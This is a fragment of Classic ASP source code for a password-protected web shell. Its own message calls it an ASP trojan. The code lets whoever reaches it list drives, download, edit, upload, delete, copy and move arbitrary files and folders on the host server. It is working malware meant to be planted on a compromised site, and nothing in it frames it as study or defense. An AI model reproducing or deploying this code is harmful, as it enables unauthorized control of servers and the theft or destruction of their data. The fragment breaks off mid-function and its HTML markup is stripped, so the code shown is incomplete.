If Request("Pass")=UserPass then Session("webadmin")=UserPass If Session("webadmin")<>UserPass Then If Request.Form("Pass")<>"" Then If Request.Form("Pass")=UserPass Then Session("webadmin")=UserPass Response.Redirect URL Else Response.Write"验证失败!" End If Else RW="
WKWL专用ASP木马" RW=RW & "
" Response.Write RW RW="" End If Response.End End If%>
Function IsObj(obt) dim i,T on error resume next Set T=Server.CreateObject(obt) If -2147221005 <> Err Then IsObj=True Else IsObj=false Err.Clear End If Set T=Nothing End Function
sub ShowErr() If Err Then Response.Write" " & Err.Description & "" Err.Clear:Response.Flush End If end sub
Function RePath(S) RePath=Replace(S,"\","\\") End Function
Function RRePath(S) RRePath=Replace(S,"\\","\") End Function
Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function
If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath) End If
If Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPath End if
if request("DownFile")<>"" then call DownFile(request("DownFile")) Function DownFile(Path) Response.Clear On Error Resume Next Set osm = CreateObject(ObT(6,0)) osm.Open osm.Type = 1 osm.LoadFromFile Path sz=InstrRev(path,"\")+1 Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz) Response.AddHeader "Content-Length",osm.Size Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite osm.Read Response.Flush osm.Close Set osm = Nothing Response.End End Function
Class LBF Private Sub Class_Initialize Set fso=CreateObject(ObT(0,0)) End Sub
Private Sub Class_Terminate Set fso=Nothing End Sub
Function ShowDriver() dim D For Each D in fso.Drives RW=RW&"磁盘["&D.DriveLetter&":] " Next ShowDriver=RW End Function
Function ShowFile(Path) dim F,L,Fold,i
RW="
" RW=RW & "
" RW=RW & "
" RW=RW & "
" Set FOLD=fso.GetFolder(Path) For Each F in FOLD.subfolders RW=RW & "
" Response.Write RW : RW="" Next if i>0 then Response.Write "
反向选择
" i=0 Response.Write "
" Set FOLD=Nothing End Function
Function EditFile(Path) dim T If Request("Action2")="Post" Then Set T=fso.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=Nothing Set fso=Nothing RW="
文件保存成功!
" RW=RW & BackUrl Response.Write RW : RW="" Response.End End If
If Path<>"" Then Set T=fso.opentextfile(Path, 1, False) On Error Resume Next Txt=HTMLEncode(T.readall) if err then err.Clear T.close Set T=Nothing Else Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件" End If
RW="
" RW=RW&"
" Response.Write RW : RW="" End Function
Function DelFile(Path) If fso.FileExists(Path) Then fso.DeleteFile Path RW="
文件 "&Path&" 删除成功!
" RW=RW & BackUrl Response.Write RW End If End Function
Function CopyFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.CopyFile Path(0),Path(1) RW="
文件" & Path(0) & "复制成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function
Function MoveFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.MoveFile Path(0),Path(1) RW="
文件" & Path(0) & "移动成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function
Function DelFolder(Path) If fso.FolderExists(Path) Then fso.DeleteFolder Path RW="
目录" & Path & "删除成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function
Function CopyFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.CopyFolder Path(0),Path(1) RW="
目录" & Path(0) & "复制成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function
Function MoveFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.MoveFolder Path(0),Path(1) RW="
目录" & Path(0) & "移动成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function
Function NewFolder(Path) If Not fso.FolderExists(Path) and Path<>"" Then fso.CreateFolder Path RW="
目录" & Path & "新建成功!
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function End Class
Function UpFile() dim strFileName If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then RW=" 请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then RW="
文件" & UName & "上传成功!
" End if End If Set F=nothing:Set U=nothing RW=RW & BackUrl Response.Write RW ShowErr() Response.End End If RW="
" RW=RW & "
" Response.Write RW End Function
Dim T1 Class UPC Dim D1,D2
Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function
Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function
Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt